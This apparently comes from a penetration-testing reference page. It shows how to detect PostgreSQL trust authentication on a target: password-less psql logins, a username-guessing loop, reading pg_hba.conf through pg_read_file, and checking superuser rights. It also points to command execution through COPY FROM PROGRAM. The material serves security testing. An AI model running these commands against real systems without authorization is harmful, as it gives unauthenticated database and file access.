# PostgreSQL Trust Authentication Detection

- **URL:** https://hackindex.io/services/postgresql/vulnerability-discovery/postgresql-trust-authentication-detection
- **Path:** PostgreSQL > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/postgresql/vulnerability-discovery.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

PostgreSQL's pg_hba.conf file controls which hosts can connect to which databases with which authentication method. When the method is set to `trust` for a host entry, any connection from that host is accepted without a password regardless of which user is claimed. Trust authentication is commonly used for local connections and sometimes misconfigured to cover broader network ranges. Confirming it is active from your source IP gives immediate database access with no credentials required.

- Test for Trust Authentication
- Read pg_hba.conf if Accessible
- Query the pg_hba_file_rules View
- Check Privilege Level of the Trust Account

## Test for Trust Authentication

Attempt a connection as postgres with no password. A successful connection with no prompt confirms trust authentication is in effect for your source IP:

```bash
psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c 'SELECT current_user;'
#  current_user
# --------------
#  postgres
# (1 row)
```

No password prompt and a successful query result confirms trust authentication. Test additional common usernames: trust may apply to specific users or databases rather than all connections:

```bash
for user in postgres admin app webapp replication backup readonly; do result=$(psql -h $TARGET_IP -p ${PORT:-5432} -U $user -d postgres -c 'SELECT current_user;' 2>&1); echo "$user: $(echo $result | grep -q 'current_user' && echo TRUST || echo denied)"; done
```

## Read pg_hba.conf if Accessible

With superuser access the pg_hba.conf file can be read directly through PostgreSQL to understand the full scope of trust entries:

```bash
psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c "SELECT pg_read_file('pg_hba.conf');"
```

`pg_read_file` is restricted to superuser accounts and reads files relative to the PostgreSQL data directory. If it returns content, look for lines containing `trust` in the method column. A trust entry covering a broad CIDR range or `0.0.0.0/0` is a critical misconfiguration affecting any host in that range.

## Query the pg_hba_file_rules View

PostgreSQL 10 and later expose pg_hba.conf entries through the `pg_hba_file_rules` view which is readable by superusers:

```bash
psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c "SELECT type, database, user_name, address, netmask, auth_method FROM pg_hba_file_rules WHERE auth_method = 'trust';"
#  type  | database | user_name | address     | netmask         | auth_method
# -------+----------+-----------+-------------+-----------------+-------------
#  host  | all      | all       | 0.0.0.0     | 0.0.0.0         | trust
#  local | all      | all       |             |                 | trust
```

A trust entry with `address = 0.0.0.0` and `netmask = 0.0.0.0` means trust authentication applies to all hosts. An entry scoped to a subnet still affects every host on that subnet. Any trust entry covering more than localhost is a finding worth documenting: it enables unauthenticated access from any IP within the covered range.

## Check Privilege Level of the Trust Account

Once trust authentication is confirmed, immediately check what privileges the accessible account holds:

```bash
psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c "SELECT rolname, rolsuper, rolcreaterole, rolcreatedb, rolcanlogin FROM pg_roles WHERE rolname = current_user;"
#  rolname  | rolsuper | rolcreaterole | rolcreatedb | rolcanlogin
# ----------+----------+---------------+-------------+-------------
#  postgres | t        | t             | t           | t
```

`rolsuper = t` confirms superuser access without a password. This enables COPY FROM PROGRAM for OS command execution, pg_read_file for arbitrary file reads, and extension loading. All exploitation techniques are immediately available.

## References

- [PostgreSQL: pg_hba.conf documentation](https://www.postgresql.org/docs/current/auth-pg-hba-conf.html) - Trust authentication method behavior and host entry format reference
- [PostgreSQL: pg_hba_file_rules view](https://www.postgresql.org/docs/current/view-pg-hba-file-rules.html) - Programmatic access to pg_hba.conf entries via the catalog view